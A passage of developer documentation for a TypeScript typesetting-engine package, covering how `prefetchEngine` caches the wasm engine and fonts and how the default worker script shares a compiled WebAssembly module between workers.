download fails. Calls while one is under way, or after one succeeded, return its promise, so the files are fetched
once per page; after a failure the next call tries again. Nothing runs: no worker, no wasm instance, no memory held. When `engineWorker()` starts later, it
finds them in the caches. The fonts go into the Cache Storage cache the worker reads them from (`typstream-fonts`), so
they're found whatever your server's cache headers say. The wasm goes through the HTTP cache, so serve it cacheable:
bundlers emit it with a content hash, which hosts usually serve as immutable. An engine on a server (`fromWebSocket`)
downloads none of this.

```ts
import { prefetchEngine } from "@typstream/engine/prefetch";

void prefetchEngine(); // at app start: a document may come later
```

<Callout type="warn" title="Beta">
`prefetchEngine` is beta.
</Callout>

## `@typstream/engine/worker`

The default worker script: `serve(engineWasm({ wasm, fonts: baseFonts, lazyFonts: [...extraFonts, ...scriptFonts] }))`, with the fonts from
`@typstream/engine-wasm/fonts`. It has no exports; importing it starts the server in the current worker.
`engineWorker()` spawns it, so you rarely need it directly.

Its `wasm` is shared between workers, so a page downloads and compiles the engine once. When it initializes, the worker
fetches `wasmUrl` (from `@typstream/engine-wasm/wasm`), compiles it and posts `{ "typstream/wasm": module }`, the
`WebAssembly.Module`, to the page. A message of that shape received before `initialize` is used instead: the worker
compiles nothing. Neither is part of the protocol. `engineWorker()` keeps the module and sends it to every worker it
starts after that, and `fromWorker` drops the message, so a client never sees it. If you spawn this worker with your
own message handling, ignore that message.

## See also

- [The engine](/docs/concepts/engine)
- [Fallback](/docs/concepts/fallback)
- [Self-hosting the engine](/docs/guides/self-hosting)
- [Remote engine](/docs/guides/remote-engine)
- [Exports](/docs/guides/exports)
- [Telemetry](/docs/guides/telemetry)
- [`@typstream/core`](/docs/reference/core), for the protocol and event types
